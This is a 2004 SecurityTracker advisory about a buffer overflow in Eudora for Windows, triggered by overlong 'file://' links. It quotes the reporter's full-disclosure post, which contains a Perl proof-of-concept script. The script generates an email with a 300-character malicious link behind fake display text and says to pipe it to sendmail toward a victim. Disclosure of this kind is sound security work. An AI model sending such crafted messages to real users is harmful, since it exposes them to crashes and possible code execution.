Eudora Has Buffer Overflow in Loading 'file://' URLs
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SecurityTracker Alert ID: 1010088
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: May 7 2004
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Impact: Not specified
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Exploit Included: Yes
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Version(s): 6.1, 6.0.3 and 5.2.1
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Description: A buffer overflow vulnerability was reported in Eudora in the processing of 'file://' URLs. The impact was not specified.
Paul Szabo reported that a remote user can send an e-mail containing a specially crafted 'file://' URL to a target user. If the
target user clicks on the URL and the URL is longer than approximately 300 characters, the buffer overflow will be triggered, the
report said.
The impact was not specified.
Windows-based versions are affected. Other platforms were not tested.
A demonstration
exploit is provided in the Source Message.
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Impact: The impact was not specified.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.eudora.com/ (Links to External Site)
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Cause: Boundary error
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Underlying OS: Windows (Any)
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Reported By: psz@maths.usyd.edu.au (Paul Szabo)
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Message History:
None.
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Source Message Contents
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Date: Fri, 7 May 2004 12:10:59 +1000 (EST)
From: psz@maths.usyd.edu.au (Paul Szabo)
Subject: [Full-Disclosure] Eudora file URL buffer overflow
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There is a buffer overflow in Eudora for Windows, verified on versions
6.1, 6.0.3 and 5.2.1. This is easily exploitable to run arbitrary code.
I do not know if this issue affects Eudora for Macs.
Demo:
#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: Eudora file URL buffer overflow demo\n";
print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n";
print "The following is a \"proper\" HTML URL, pointing to somewhere long:\n";
print "<x-html>\n";
print "<a href=\"C:\\", "A"x300, "\">\n";
print "Fake URL to http://anywhere/I/want</a>\n";
print "</x-html>\n";
print "Clicking above will crash Eudora.\n\n";
print "The following plain-text converted by Eudora into a clickable URL\n";
print "http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\n";
print "is for comparison: the user can hardly tell them apart.\n\n";
Cheers,
Paul Szabo - psz@maths.usyd.edu.au http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics University of Sydney 2006 Australia
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